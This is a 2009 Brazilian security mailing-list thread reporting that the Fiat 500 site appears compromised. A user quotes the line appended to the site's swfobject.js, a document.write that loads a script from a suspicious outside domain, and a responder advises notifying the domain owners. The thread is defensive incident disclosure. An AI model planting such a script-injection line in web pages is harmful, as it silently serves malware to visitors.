[GTER] Site Fiat 500 acusando virus
MARLON BORBA
MBORBA at trf3.jus.br
Tue Oct 20 14:14:20 -02 2009
Notifique os responsáveis pelo domínio, como é de praxe.
>>>Em 20/10/2009 às 13:45, "Douglas C. de Campos" <camargo at gmail.com>
gravou:
> Ao entrar no site do Fiat 500 o meu antivirus alarmou. Olhando o
html
> da para ver que tem um java script que chama uma pagina externa
*wget -r
> http://www.fiat500.com.br* dentro do *index.html* tem *<script
> type="text/javascript" src="js/swfobject.js"></script>* esse *
> js/swfobject.js* tem no final um d*ocument.write('<script src=
> http://lupitaarmas.com/media/index2.php ><\/script>' * e essa pagina
já é
> reportada como suspeita pelo firefox.
>
> Abraços
> --
> Douglas Camargo de Campos
> 7375 - 8742
> --
> gter list https://eng.registro.br/mailman/listinfo/gter
--
Abraços,
Marlon Borba, CISSP, APC DataCenter Associate
Técnico Judiciário · Segurança da Informação
IPv6 Evangelist · Moreq-Jus Evangelist
Comissão Local de Resposta a Incidentes - CLRI
TRF 3 Região
(11) 3012-1581
--
Follow me on Twitter!
twitter.com/mborba
--
More information about the gter
mailing list